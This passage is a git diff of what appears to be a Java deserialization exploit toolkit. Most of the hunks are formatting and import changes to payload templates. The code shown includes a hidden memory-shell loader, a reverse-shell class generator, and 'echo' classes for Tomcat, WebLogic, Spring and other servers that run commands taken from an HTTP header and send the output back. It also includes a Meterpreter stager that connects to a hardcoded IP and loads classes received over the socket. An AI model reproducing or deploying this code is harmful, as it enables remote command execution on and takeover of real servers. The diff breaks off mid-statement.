b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java @@ -24,10 +24,10 @@ public class HideMemShellTemplate extends ClassLoader { } public static void writeClassFileToJRE(String className, String base64Content) throws Exception { - ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); + ByteArrayInputStream bais = new ByteArrayInputStream(base64Decode(base64Content)); ByteArrayOutputStream baos = new ByteArrayOutputStream(); - byte[] bs = new byte[4096]; - int read; + byte[] bs = new byte[4096]; + int read; while ((read = bais.read(bs)) != -1) { baos.write(bs, 0, read); @@ -55,7 +55,7 @@ public class HideMemShellTemplate extends ClassLoader { } public static byte[] base64Decode(String bs) { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); diff --git a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java index e109812..c334a0d 100644 --- a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java @@ -1,7 +1,7 @@ package com.qi4l.JYso.template; import com.qi4l.JYso.gadgets.utils.Cache; -import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.gadgets.utils.Utils; import org.objectweb.asm.*; import static org.objectweb.asm.Opcodes.*; @@ -10,7 +10,7 @@ public class ReverseShellTemplate implements Template { private String className; private byte[] bytes; private String ip; - private int port; + private int port; public ReverseShellTemplate(String ip, String port) { this(ip, Integer.parseInt(port)); @@ -20,7 +20,7 @@ public class ReverseShellTemplate implements Template { public ReverseShellTemplate(String ip, int port) { this.ip = ip; this.port = port; - this.className = "Exploit" + Util.getRandomString(); + this.className = "Exploit" + Utils.getRandomString(); generate(); } @@ -49,9 +49,9 @@ public class ReverseShellTemplate implements Template { @Override public void generate() { - ClassWriter cw = new ClassWriter(0); - FieldVisitor fv; - MethodVisitor mv; + ClassWriter cw = new ClassWriter(0); + FieldVisitor fv; + MethodVisitor mv; AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java index 4ca0e44..536ae4d 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CAllEcho.java @@ -25,7 +25,7 @@ public class CAllEcho { Class n = start.getClass(); do { java.lang.reflect.Field f = null; - int l = n.getDeclaredFields().length; + int l = n.getDeclaredFields().length; for (int i = 0; i < l; i++) { f = n.getDeclaredFields()[i]; f.setAccessible(true); @@ -35,9 +35,9 @@ public class CAllEcho { if (!o.getClass().isArray()) { p(o, depth); } else { - Object q = null; + Object q = null; Object[] objs = (Object[]) o; - int len = java.lang.reflect.Array.getLength(o); + int len = java.lang.reflect.Array.getLength(o); for (int j = 0; j < len; j++) { q = objs[j]; p(q, depth); diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java index d97414d..e2dd8e7 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJbossEcho.java @@ -15,8 +15,8 @@ public class CJbossEcho { try { // 高版本底层是 undertow Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); - Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); - java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); os.write(baos.toByteArray()); os.close(); } catch (ClassNotFoundException ignored) { diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java index 717a2d0..dae5bfc 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CJettyEcho.java @@ -8,7 +8,7 @@ public class CJettyEcho { public CJettyEcho() { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -27,8 +27,8 @@ public class CJettyEcho { obj = field.get(o); if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { - Object connection = obj; - java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); obj = method.invoke(connection, (Object) null); method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); @@ -44,8 +44,8 @@ public class CJettyEcho { break; } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { - java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); - Object httpChannel = method.invoke(obj, (Object) null); + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); method = httpChannel.getClass().getMethod("getRequest", (Class) null); obj = method.invoke(httpChannel, (Object) null); diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java index 97382e4..3b600de 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho1.java @@ -7,8 +7,8 @@ public class CLinuxEcho1 { String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; java.util.List list = new java.util.ArrayList<>(); - String[] cmd = new String[]{"/bin/sh", "-c", command}; - java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while ((line = br.readLine()) != null) { diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java index c2a8796..9038c4a 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CLinuxEcho2.java @@ -5,11 +5,11 @@ public class CLinuxEcho2 { public CLinuxEcho2() { try { if (java.io.File.separator.equals("/")) { - String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; - String[] cmd = new String[]{"/bin/sh", "-c", command}; - java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); - java.util.List res1 = new java.util.ArrayList(); - String line = ""; + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; while ((line = br.readLine()) != null && !line.trim().isEmpty()) { res1.add(line); } @@ -31,7 +31,7 @@ public class CLinuxEcho2 { br.close(); int index = 0; - int max = 0; + int max = 0; for (int i = 0; i < res2.size(); i++) { try { String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); @@ -50,13 +50,13 @@ public class CLinuxEcho2 { } } - int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); - java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); c.setAccessible(true); cmd = new String[]{"/bin/sh", "-c", "id"}; - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; - java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); os.write(result.getBytes()); } } catch (Exception ignored) { diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java index be0aa94..7cb3b41 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CResinEcho.java @@ -6,7 +6,7 @@ public class CResinEcho { public CResinEcho() { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -26,10 +26,10 @@ public class CResinEcho { if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; - String cmd = httpRequest.getHeader(CMD_HEADER); + String cmd = httpRequest.getHeader(CMD_HEADER); if (cmd != null && !cmd.isEmpty()) { - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); httpResponse.setHeader("Content-Length", res.length() + ""); java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java index 8ca721a..010b52b 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CSpringEcho.java @@ -8,9 +8,9 @@ public class CSpringEcho { try { org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); - javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); - javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); - String cmd = request.getHeader(CMD_HEADER); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); if (cmd != null && !cmd.isEmpty()) { response.getWriter().write(new String(q(cmd).toByteArray())); } diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java index 4660b27..9798d01 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CTomcatEcho.java @@ -1,19 +1,15 @@ package com.qi4l.JYso.template.echoConstructor; -import sun.misc.Unsafe; - -import java.lang.reflect.Field; - // 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题 public class CTomcatEcho { public static String CMD_HEADER; public CTomcatEcho() { try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - ClassLoader loader = Thread.currentThread().getContextClassLoader(); - java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); for (int i = 0; i < threads.length; i++) { @@ -50,7 +46,7 @@ public class CTomcatEcho { Object processor = processors.get(j); f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); - Object req = f.get(processor); + Object req = f.get(processor); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); if (str != null && !str.isEmpty()) { diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java index 1de1631..31452f4 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CWindowsEcho.java @@ -8,24 +8,24 @@ public class CWindowsEcho { java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); field.setAccessible(true); - Class clazz1 = Class.forName("sun.nio.ch.Net"); + Class clazz1 = Class.forName("sun.nio.ch.Net"); java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); method1.setAccessible(true); - Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; constructor2.setAccessible(true); - Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); constructor3.setAccessible(true); java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); write.setAccessible(true); - java.net.InetSocketAddress remoteAddress = null; - java.util.List list = new java.util.ArrayList(); - java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); for (int i = 0; i < 50000; i++) { field.set((Object) fileDescriptor, (Object) (new Integer(i))); try { @@ -41,10 +41,10 @@ public class CWindowsEcho { for (int i = list.size() - 1; i >= 0; i--) { try { field.set((Object) fileDescriptor, list.get(i)); - Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); - String[] cmd = new String[]{"cmd", "/C", "whoami"}; - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); - String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; + Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})}); + String[] cmd = new String[]{"cmd", "/C", "whoami"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n"; write.invoke(socketOutputStream, new Object[]{result.getBytes()}); break; } catch (Exception e) { diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java index 452dd11..67c3c02 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CweblogicEcho.java @@ -11,8 +11,8 @@ public class CweblogicEcho { String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER); if (cmd != null && !cmd.isEmpty()) { - String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); @@ -25,8 +25,8 @@ public class CweblogicEcho { String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd"); if (cmd != null && !cmd.isEmpty()) { - String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); + String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); res.getWriter().write(""); diff --git a/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java b/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java index 02356ac..142dc15 100644 --- a/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoConstructor/CwebsphereEcho.java @@ -2,13 +2,13 @@ package com.qi4l.JYso.template.echoConstructor; import java.io.OutputStream; -import static com.qi4l.JYso.gadgets.Jackson3.getFieldValue; +import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; public class CwebsphereEcho { public CwebsphereEcho() { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -19,7 +19,7 @@ public class CwebsphereEcho { if (o == null) continue; if (o.getClass().getName().endsWith("WebContainerRequestState")) { - Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); diff --git a/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java b/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java index edbd896..b9a6518 100644 --- a/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java +++ b/src/main/java/com/qi4l/JYso/template/echoJDK17/CTomcatEcho17.java @@ -12,10 +12,10 @@ public class CTomcatEcho17 { Object originalModule = patchModule(this.getClass(), null); try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - ClassLoader loader = Thread.currentThread().getContextClassLoader(); - Field f = group.getClass().getDeclaredField("threads"); + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); for (int i = 0; i < threads.length; i++) { @@ -52,7 +52,7 @@ public class CTomcatEcho17 { Object processor = processors.get(j); f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); - Object req = f.get(processor); + Object req = f.get(processor); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); if (str != null && !str.isEmpty()) { @@ -97,7 +97,7 @@ public class CTomcatEcho17 { originalModule = Class.class.getMethod("getModule").invoke(Object.class); } Class currentClass = clazz; - long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); + long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); return unsafe.getAndSetObject(currentClass, addr, originalModule); } catch (Exception e) { } diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java index b83b1dc..74a8420 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/AllEcho.java @@ -22,10 +22,10 @@ public class AllEcho { } private static void F(Object start, int depth) { - Class n = start.getClass(); + Class n = start.getClass(); do { java.lang.reflect.Field f = null; - int l = n.getDeclaredFields().length; + int l = n.getDeclaredFields().length; for (int i = 0; i < l; i++) { f = n.getDeclaredFields()[i]; f.setAccessible(true); @@ -35,9 +35,9 @@ public class AllEcho { if (!o.getClass().isArray()) { p(o, depth); } else { - Object q = null; + Object q = null; Object[] objs = (Object[]) o; - int len = java.lang.reflect.Array.getLength(o); + int len = java.lang.reflect.Array.getLength(o); for (int j = 0; j < len; j++) { q = objs[j]; p(q, depth); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java index e19b580..daf18ba 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/JbossEcho.java @@ -15,8 +15,8 @@ public class JbossEcho { try { // 高版本底层是 undertow Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); - Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); - java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); os.write(baos.toByteArray()); os.close(); } catch (ClassNotFoundException ignored) { diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java b/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java index 1d7e114..11a3917 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/JettyEcho.java @@ -8,7 +8,7 @@ public class JettyEcho { static { try { - Class clazz = Thread.currentThread().getClass(); + Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); @@ -27,8 +27,8 @@ public class JettyEcho { obj = field.get(o); if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { - Object connection = obj; - java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); obj = method.invoke(connection, (Object) null); method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); @@ -44,8 +44,8 @@ public class JettyEcho { break; } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { - java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); - Object httpChannel = method.invoke(obj, (Object) null); + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); method = httpChannel.getClass().getMethod("getRequest", (Class) null); obj = method.invoke(httpChannel, (Object) null); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java index fb44a28..91b736c 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho1.java @@ -7,8 +7,8 @@ public class LinuxEcho1 { String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; java.util.List list = new java.util.ArrayList<>(); - String[] cmd = new String[]{"/bin/sh", "-c", command}; - java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); String line; while ((line = br.readLine()) != null) { diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java index 79b8ed5..e8e0da8 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/LinuxEcho2.java @@ -5,11 +5,11 @@ public class LinuxEcho2 { static { try { if (java.io.File.separator.equals("/")) { - String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; - String[] cmd = new String[]{"/bin/sh", "-c", command}; - java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); - java.util.List res1 = new java.util.ArrayList(); - String line = ""; + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; while ((line = br.readLine()) != null && !line.trim().isEmpty()) { res1.add(line); } @@ -31,7 +31,7 @@ public class LinuxEcho2 { br.close(); int index = 0; - int max = 0; + int max = 0; for (int i = 0; i < res2.size(); i++) { try { String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); @@ -50,13 +50,13 @@ public class LinuxEcho2 { } } - int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); - java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); c.setAccessible(true); cmd = new String[]{"/bin/sh", "-c", "id"}; - String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); - String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; - java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); os.write(result.getBytes()); } } catch (Exception ignored) { diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java index 42f6c26..17fae70 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java @@ -12,12 +12,12 @@ import java.util.HashMap; public class Meterpreter extends ClassLoader implements Runnable { - public static String host = "111.229.10.212"; - public static String port = "23412"; + public static String host = "111.229.10.212"; + public static String port = "23412"; - static Class class$0; - static Class class$1; - static Class class$2; + static Class class$0; + static Class class$1; + static Class class$2; static { @@ -26,7 +26,7 @@ public class Meterpreter meterpreter.run(); } - private HashMap parameterMap; + private HashMap parameterMap; //public String toString() { @@ -63,11 +63,11 @@ public class Meterpreter } public void getShell() throws Exception { - InputStream inputStream1 = null; + InputStream inputStream1 = null; OutputStream outputStream = null; - int j = new Integer(this.port); - String str4 = this.host; - Socket socket = null; + int j = new Integer(this.port); + String str4 = this.host; + Socket socket = null; if (str4 != null) { socket = new Socket(str4, j); } @@ -78,18 +78,18 @@ public class Meterpreter private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { try { - Class clazz; + Class clazz; DataInputStream dataInputStream = new DataInputStream(paramInputStream); - int i = dataInputStream.readInt(); + int i = dataInputStream.readInt(); do { byte[] arrayOfByte = new byte[i]; dataInputStream.readFully(arrayOfByte); clazz = this.defineClass(null, arrayOfByte, 0, i); this.resolveClass(clazz); } while ((i = dataInputStream.readInt()) > 0); - Object object = clazz.newInstance(); - Class[] classArray = new Class[3]; - Class clazz2 = class$0; + Object object = clazz.newInstance(); + Class[] classArray = new Class[3]; + Class clazz2 = class$0; if 